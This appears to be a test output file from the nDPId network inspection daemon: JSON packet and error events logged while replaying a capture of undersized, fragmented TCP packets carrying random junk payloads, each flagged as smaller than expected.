-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561294} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561309} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561334} -00360{"packet_event_id":1,"packet_event_name":"packet","packet_id":5120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561347} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561359} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561374} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561386} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561399} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561412} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561427} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561452} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561465} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561480} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561492} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561508} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561533} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561548} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":5136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561561} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561573} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561585} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561597} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561611} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561624} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561643} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561655} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561667} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561680} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561708} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561720} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561734} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561747} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561759} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561772} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561786} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561798} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561813} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5156,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561826} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5157,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561838} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5158,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561850} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":5159,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244029559709,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":5160,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244029561863} 